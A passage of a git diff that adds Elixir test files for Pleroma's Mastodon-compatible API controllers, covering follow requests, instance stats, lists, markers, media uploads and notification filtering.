works", %{user: user, conn: conn} do + other_user = insert(:user) + + {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) + {:ok, other_user} = User.follow(other_user, user, :follow_pending) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == false + + conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/authorize") + + assert relationship = json_response_and_validate_schema(conn, 200) + assert to_string(other_user.id) == relationship["id"] + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == true + end + + test "/api/v1/follow_requests/:id/reject works", %{user: user, conn: conn} do + other_user = insert(:user) + + {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) + + user = User.get_cached_by_id(user.id) + + conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/reject") + + assert relationship = json_response_and_validate_schema(conn, 200) + assert to_string(other_user.id) == relationship["id"] + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == false + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs new file mode 100644 index 000000000..6a9ccd979 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs @@ -0,0 +1,87 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.InstanceControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + import Pleroma.Factory + + test "get instance information", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + assert result = json_response_and_validate_schema(conn, 200) + + email = Pleroma.Config.get([:instance, :email]) + # Note: not checking for "max_toot_chars" since it's optional + assert %{ + "uri" => _, + "title" => _, + "description" => _, + "version" => _, + "email" => from_config_email, + "urls" => %{ + "streaming_api" => _ + }, + "stats" => _, + "thumbnail" => _, + "languages" => _, + "registrations" => _, + "approval_required" => _, + "poll_limits" => _, + "upload_limit" => _, + "avatar_upload_limit" => _, + "background_upload_limit" => _, + "banner_upload_limit" => _, + "background_image" => _, + "chat_limit" => _, + "description_limit" => _ + } = result + + assert result["pleroma"]["metadata"]["account_activation_required"] != nil + assert result["pleroma"]["metadata"]["features"] + assert result["pleroma"]["metadata"]["federation"] + assert result["pleroma"]["metadata"]["fields_limits"] + assert result["pleroma"]["vapid_public_key"] + + assert email == from_config_email + end + + test "get instance stats", %{conn: conn} do + user = insert(:user, %{local: true}) + + user2 = insert(:user, %{local: true}) + {:ok, _user2} = User.deactivate(user2, !user2.deactivated) + + insert(:user, %{local: false, nickname: "u@peer1.com"}) + insert(:user, %{local: false, nickname: "u@peer2.com"}) + + {:ok, _} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) + + Pleroma.Stats.force_update() + + conn = get(conn, "/api/v1/instance") + + assert result = json_response_and_validate_schema(conn, 200) + + stats = result["stats"] + + assert stats + assert stats["user_count"] == 1 + assert stats["status_count"] == 1 + assert stats["domain_count"] == 2 + end + + test "get peers", %{conn: conn} do + insert(:user, %{local: false, nickname: "u@peer1.com"}) + insert(:user, %{local: false, nickname: "u@peer2.com"}) + + Pleroma.Stats.force_update() + + conn = get(conn, "/api/v1/instance/peers") + + assert result = json_response_and_validate_schema(conn, 200) + + assert ["peer1.com", "peer2.com"] == Enum.sort(result) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs new file mode 100644 index 000000000..091ec006c --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs @@ -0,0 +1,176 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ListControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Repo + + import Pleroma.Factory + + test "creating a list" do + %{conn: conn} = oauth_access(["write:lists"]) + + assert %{"title" => "cuties"} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists", %{"title" => "cuties"}) + |> json_response_and_validate_schema(:ok) + end + + test "renders error for invalid params" do + %{conn: conn} = oauth_access(["write:lists"]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists", %{"title" => nil}) + + assert %{"error" => "title - null value where string expected."} = + json_response_and_validate_schema(conn, 400) + end + + test "listing a user's lists" do + %{conn: conn} = oauth_access(["read:lists", "write:lists"]) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists", %{"title" => "cuties"}) + |> json_response_and_validate_schema(:ok) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists", %{"title" => "cofe"}) + |> json_response_and_validate_schema(:ok) + + conn = get(conn, "/api/v1/lists") + + assert [ + %{"id" => _, "title" => "cofe"}, + %{"id" => _, "title" => "cuties"} + ] = json_response_and_validate_schema(conn, :ok) + end + + test "adding users to a list" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + + assert %{} == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) + |> json_response_and_validate_schema(:ok) + + %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) + assert following == [other_user.follower_address] + end + + test "removing users from a list, body params" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + other_user = insert(:user) + third_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + {:ok, list} = Pleroma.List.follow(list, third_user) + + assert %{} == + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) + |> json_response_and_validate_schema(:ok) + + %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) + assert following == [third_user.follower_address] + end + + test "removing users from a list, query params" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + other_user = insert(:user) + third_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + {:ok, list} = Pleroma.List.follow(list, third_user) + + assert %{} == + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/lists/#{list.id}/accounts?account_ids[]=#{other_user.id}") + |> json_response_and_validate_schema(:ok) + + %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) + assert following == [third_user.follower_address] + end + + test "listing users in a list" do + %{user: user, conn: conn} = oauth_access(["read:lists"]) + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200) + assert id == to_string(other_user.id) + end + + test "retrieving a list" do + %{user: user, conn: conn} = oauth_access(["read:lists"]) + {:ok, list} = Pleroma.List.create("name", user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/lists/#{list.id}") + + assert %{"id" => id} = json_response_and_validate_schema(conn, 200) + assert id == to_string(list.id) + end + + test "renders 404 if list is not found" do + %{conn: conn} = oauth_access(["read:lists"]) + + conn = get(conn, "/api/v1/lists/666") + + assert %{"error" => "List not found"} = json_response_and_validate_schema(conn, :not_found) + end + + test "renaming a list" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + {:ok, list} = Pleroma.List.create("name", user) + + assert %{"title" => "newname"} = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/v1/lists/#{list.id}", %{"title" => "newname"}) + |> json_response_and_validate_schema(:ok) + end + + test "validates title when renaming a list" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + {:ok, list} = Pleroma.List.create("name", user) + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/json") + |> put("/api/v1/lists/#{list.id}", %{"title" => " "}) + + assert %{"error" => "can't be blank"} == + json_response_and_validate_schema(conn, :unprocessable_entity) + end + + test "deleting a list" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + {:ok, list} = Pleroma.List.create("name", user) + + conn = delete(conn, "/api/v1/lists/#{list.id}") + + assert %{} = json_response_and_validate_schema(conn, 200) + assert is_nil(Repo.get(Pleroma.List, list.id)) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs new file mode 100644 index 000000000..9f0481120 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs @@ -0,0 +1,131 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MarkerControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + describe "GET /api/v1/markers" do + test "gets markers with correct scopes", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: ["read:statuses"]) + insert_list(7, :notification, user: user, activity: insert(:note_activity)) + + {:ok, %{"notifications" => marker}} = + Pleroma.Marker.upsert( + user, + %{"notifications" => %{"last_read_id" => "69420"}} + ) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> get("/api/v1/markers?timeline[]=notifications") + |> json_response_and_validate_schema(200) + + assert response == %{ + "notifications" => %{ + "last_read_id" => "69420", + "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at), + "version" => 0, + "pleroma" => %{"unread_count" => 7} + } + } + end + + test "gets markers with missed scopes", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: []) + + Pleroma.Marker.upsert(user, %{"notifications" => %{"last_read_id" => "69420"}}) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> get("/api/v1/markers", %{timeline: ["notifications"]}) + |> json_response_and_validate_schema(403) + + assert response == %{"error" => "Insufficient permissions: read:statuses."} + end + end + + describe "POST /api/v1/markers" do + test "creates a marker with correct scopes", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: ["write:statuses"]) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/markers", %{ + home: %{last_read_id: "777"}, + notifications: %{"last_read_id" => "69420"} + }) + |> json_response_and_validate_schema(200) + + assert %{ + "notifications" => %{ + "last_read_id" => "69420", + "updated_at" => _, + "version" => 0, + "pleroma" => %{"unread_count" => 0} + } + } = response + end + + test "updates exist marker", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: ["write:statuses"]) + + {:ok, %{"notifications" => marker}} = + Pleroma.Marker.upsert( + user, + %{"notifications" => %{"last_read_id" => "69477"}} + ) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/markers", %{ + home: %{last_read_id: "777"}, + notifications: %{"last_read_id" => "69888"} + }) + |> json_response_and_validate_schema(200) + + assert response == %{ + "notifications" => %{ + "last_read_id" => "69888", + "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at), + "version" => 0, + "pleroma" => %{"unread_count" => 0} + } + } + end + + test "creates a marker with missed scopes", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: []) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/markers", %{ + home: %{last_read_id: "777"}, + notifications: %{"last_read_id" => "69420"} + }) + |> json_response_and_validate_schema(403) + + assert response == %{"error" => "Insufficient permissions: write:statuses."} + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs new file mode 100644 index 000000000..906fd940f --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs @@ -0,0 +1,146 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MediaControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + + describe "Upload media" do + setup do: oauth_access(["write:media"]) + + setup do + image = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + [image: image] + end + + setup do: clear_config([:media_proxy]) + setup do: clear_config([Pleroma.Upload]) + + test "/api/v1/media", %{conn: conn, image: image} do + desc = "Description of the image" + + media = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/media", %{"file" => image, "description" => desc}) + |> json_response_and_validate_schema(:ok) + + assert media["type"] == "image" + assert media["description"] == desc + assert media["id"] + + object = Object.get_by_id(media["id"]) + assert object.data["actor"] == User.ap_id(conn.assigns[:user]) + end + + test "/api/v2/media", %{conn: conn, user: user, image: image} do + desc = "Description of the image" + + response = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v2/media", %{"file" => image, "description" => desc}) + |> json_response_and_validate_schema(202) + + assert media_id = response["id"] + + %{conn: conn} = oauth_access(["read:media"], user: user) + + media = + conn + |> get("/api/v1/media/#{media_id}") + |> json_response_and_validate_schema(200) + + assert media["type"] == "image" + assert media["description"] == desc + assert media["id"] + + object = Object.get_by_id(media["id"]) + assert object.data["actor"] == user.ap_id + end + end + + describe "Update media description" do + setup do: oauth_access(["write:media"]) + + setup %{user: actor} do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, %Object{} = object} = + ActivityPub.upload( + file, + actor: User.ap_id(actor), + description: "test-m" + ) + + [object: object] + end + + test "/api/v1/media/:id good request", %{conn: conn, object: object} do + media = + conn + |> put_req_header("content-type", "multipart/form-data") + |> put("/api/v1/media/#{object.id}", %{"description" => "test-media"}) + |> json_response_and_validate_schema(:ok) + + assert media["description"] == "test-media" + assert refresh_record(object).data["name"] == "test-media" + end + end + + describe "Get media by id (/api/v1/media/:id)" do + setup do: oauth_access(["read:media"]) + + setup %{user: actor} do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, %Object{} = object} = + ActivityPub.upload( + file, + actor: User.ap_id(actor), + description: "test-media" + ) + + [object: object] + end + + test "it returns media object when requested by owner", %{conn: conn, object: object} do + media = + conn + |> get("/api/v1/media/#{object.id}") + |> json_response_and_validate_schema(:ok) + + assert media["description"] == "test-media" + assert media["type"] == "image" + assert media["id"] + end + + test "it returns 403 if media object requested by non-owner", %{object: object, user: user} do + %{conn: conn, user: other_user} = oauth_access(["read:media"]) + + assert object.data["actor"] == user.ap_id + refute user.id == other_user.id + + conn + |> get("/api/v1/media/#{object.id}") + |> json_response(403) + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/notification_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/notification_controller_test.exs new file mode 100644 index 000000000..70ef0e8b5 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/notification_controller_test.exs @@ -0,0 +1,626 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "does NOT render account/pleroma/relationship by default" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, [_notification]} = Notification.create_notifications(activity) + + response = + conn + |> assign(:user, user) + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(200) + + assert Enum.all?(response, fn n -> + get_in(n, ["account", "pleroma", "relationship"]) == %{} + end) + end + + test "list of notifications" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [_notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/notifications") + + expected_response = + "hi @#{user.nickname}" + + assert [%{"status" => %{"content" => response}} | _rest] = + json_response_and_validate_schema(conn, 200) + + assert response == expected_response + end + + test "by default, does not contain pleroma:chat_mention" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, _activity} = CommonAPI.post_chat_message(other_user, user, "hey") + + result = + conn + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(200) + + assert [] == result + + result = + conn + |> get("/api/v1/notifications?include_types[]=pleroma:chat_mention") + |> json_response_and_validate_schema(200) + + assert [_] = result + end + + test "getting a single notification" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = get(conn, "/api/v1/notifications/#{notification.id}") + + expected_response = + "hi @#{user.nickname}" + + assert %{"status" => %{"content" => response}} = json_response_and_validate_schema(conn, 200) + assert response == expected_response + end + + test "dismissing a single notification (deprecated endpoint)" do + %{user: user, conn: conn} = oauth_access(["write:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/notifications/dismiss", %{"id" => to_string(notification.id)}) + + assert %{} = json_response_and_validate_schema(conn, 200) + end + + test "dismissing a single notification" do + %{user: user, conn: conn} = oauth_access(["write:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/notifications/#{notification.id}/dismiss") + + assert %{} = json_response_and_validate_schema(conn, 200) + end + + test "clearing all notifications" do + %{user: user, conn: conn} = oauth_access(["write:notifications", "read:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [_notification]} = Notification.create_notifications(activity) + + ret_conn = post(conn, "/api/v1/notifications/clear") + + assert %{} = json_response_and_validate_schema(ret_conn, 200) + + ret_conn = get(conn, "/api/v1/notifications") + + assert all = json_response_and_validate_schema(ret_conn, 200) + assert all == [] + end + + test "paginates notifications using min_id, since_id, max_id, and limit" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity1} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity2} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity3} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity4} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + notification1_id = get_notification_id_by_activity(activity1) + notification2_id = get_notification_id_by_activity(activity2) + notification3_id = get_notification_id_by_activity(activity3) + notification4_id = get_notification_id_by_activity(activity4) + + conn = assign(conn, :user, user) + + # min_id + result = + conn + |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result + + # since_id + result = + conn + |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + + # max_id + result = + conn + |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result + end + + describe "exclude_visibilities" do + test "filters notifications for mentions" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, public_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "public"}) + + {:ok, direct_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "direct"}) + + {:ok, unlisted_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "unlisted"}) + + {:ok, private_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "private"}) + + query = params_to_query(%{exclude_visibilities: ["public", "unlisted", "private"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) + assert id == direct_activity.id + + query = params_to_query(%{exclude_visibilities: ["public", "unlisted", "direct"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) + assert id == private_activity.id + + query = params_to_query(%{exclude_visibilities: ["public", "private", "direct"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) + assert id == unlisted_activity.id + + query = params_to_query(%{exclude_visibilities: ["unlisted", "private", "direct"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) + assert id == public_activity.id + end + + test "filters notifications for Like activities" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) + + {:ok, public_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "public"}) + + {:ok, direct_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "direct"}) + + {:ok, unlisted_activity} = + CommonAPI.post(other_user, %{status: ".", visibility: "unlisted"}) + + {:ok, private_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "private"}) + + {:ok, _} = CommonAPI.favorite(user, public_activity.id) + {:ok, _} = CommonAPI.favorite(user, direct_activity.id) + {:ok, _} = CommonAPI.favorite(user, unlisted_activity.id) + {:ok, _} = CommonAPI.favorite(user, private_activity.id) + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=direct") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert public_activity.id in activity_ids + assert unlisted_activity.id in activity_ids + assert private_activity.id in activity_ids + refute direct_activity.id in activity_ids + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=unlisted") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert public_activity.id in activity_ids + refute unlisted_activity.id in activity_ids + assert private_activity.id in activity_ids + assert direct_activity.id in activity_ids + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=private") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert public_activity.id in activity_ids + assert unlisted_activity.id in activity_ids + refute private_activity.id in activity_ids + assert direct_activity.id in activity_ids + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=public") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + refute public_activity.id in activity_ids + assert unlisted_activity.id in activity_ids + assert private_activity.id in activity_ids + assert direct_activity.id in activity_ids + end + + test "filters notifications for Announce activities" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) + + {:ok, public_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "public"}) + + {:ok, unlisted_activity} = + CommonAPI.post(other_user, %{status: ".", visibility: "unlisted"}) + + {:ok, _} = CommonAPI.repeat(public_activity.id, user) + {:ok, _} = CommonAPI.repeat(unlisted_activity.id, user) + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=unlisted") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert public_activity.id in activity_ids + refute unlisted_activity.id in activity_ids + end + + test "doesn't return less than the requested amount of records when the user's reply is liked" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) + + {:ok, mention} = + CommonAPI.post(user, %{status: "@#{other_user.nickname}", visibility: "public"}) + + {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + + {:ok, reply} = + CommonAPI.post(other_user, %{ + status: ".", + visibility: "public", + in_reply_to_status_id: activity.id + }) + + {:ok, _favorite} = CommonAPI.favorite(user, reply.id) + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=direct&limit=2") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert [reply.id, mention.id] == activity_ids + end + end + + test "filters notifications using exclude_types" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, mention_activity} = CommonAPI.post(other_user, %{status: "hey @#{user.nickname}"}) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, favorite_activity} = CommonAPI.favorite(other_user, create_activity.id) + {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, other_user) + {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) + + mention_notification_id = get_notification_id_by_activity(mention_activity) + favorite_notification_id = get_notification_id_by_activity(favorite_activity) + reblog_notification_id = get_notification_id_by_activity(reblog_activity) + follow_notification_id = get_notification_id_by_activity(follow_activity) + + query = params_to_query(%{exclude_types: ["mention", "favourite", "reblog"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"id" => ^follow_notification_id}] = json_response_and_validate_schema(conn_res, 200) + + query = params_to_query(%{exclude_types: ["favourite", "reblog", "follow"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"id" => ^mention_notification_id}] = + json_response_and_validate_schema(conn_res, 200) + + query = params_to_query(%{exclude_types: ["reblog", "follow", "mention"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"id" => ^favorite_notification_id}] = + json_response_and_validate_schema(conn_res, 200) + + query = params_to_query(%{exclude_types: ["follow", "mention", "favourite"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"id" => ^reblog_notification_id}] = json_response_and_validate_schema(conn_res, 200) + end + + test "filters notifications using include_types" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, mention_activity} = CommonAPI.post(other_user, %{status: "hey @#{user.nickname}"}) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, favorite_activity} = CommonAPI.favorite(other_user, create_activity.id) + {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, other_user) + {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) + + mention_notification_id = get_notification_id_by_activity(mention_activity) + favorite_notification_id = get_notification_id_by_activity(favorite_activity) + reblog_notification_id = get_notification_id_by_activity(reblog_activity) + follow_notification_id = get_notification_id_by_activity(follow_activity) + + conn_res = get(conn, "/api/v1/notifications?include_types[]=follow") + + assert [%{"id" => ^follow_notification_id}] = json_response_and_validate_schema(conn_res, 200) + + conn_res = get(conn, "/api/v1/notifications?include_types[]=mention") + + assert [%{"id" => ^mention_notification_id}] = + json_response_and_validate_schema(conn_res, 200) + + conn_res = get(conn, "/api/v1/notifications?include_types[]=favourite") + + assert [%{"id" => ^favorite_notification_id}] = + json_response_and_validate_schema(conn_res, 200) + + conn_res = get(conn, "/api/v1/notifications?include_types[]=reblog") + + assert [%{"id" => ^reblog_notification_id}] = json_response_and_validate_schema(conn_res, 200) + + result = conn |> get("/api/v1/notifications") |> json_response_and_validate_schema(200) + + assert length(result) == 4 + + query = params_to_query(%{include_types: ["follow", "mention", "favourite", "reblog"]}) + + result = + conn + |> get("/api/v1/notifications?" <> query) + |> json_response_and_validate_schema(200) + + assert length(result) == 4 + end + + test "destroy multiple" do + %{user: user, conn: conn} = oauth_access(["read:notifications", "write:notifications"]) + other_user = insert(:user) + + {:ok, activity1} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity2} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity3} = CommonAPI.post(user, %{status: "hi @#{other_user.nickname}"}) + {:ok, activity4} = CommonAPI.post(user, %{status: "hi @#{other_user.nickname}"}) + + notification1_id = get_notification_id_by_activity(activity1) + notification2_id = get_notification_id_by_activity(activity2) + notification3_id = get_notification_id_by_activity(activity3) + notification4_id = get_notification_id_by_activity(activity4) + + result = + conn + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result + + conn2 = + conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:notifications"])) + + result = + conn2 + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + + query = params_to_query(%{ids: [notification1_id, notification2_id]}) + conn_destroy = delete(conn, "/api/v1/notifications/destroy_multiple?" <> query) + + assert json_response_and_validate_schema(conn_destroy, 200) == %{} + + result = + conn2 + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + end + + test "doesn't see notifications after muting user with notifications" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) + + ret_conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 + + 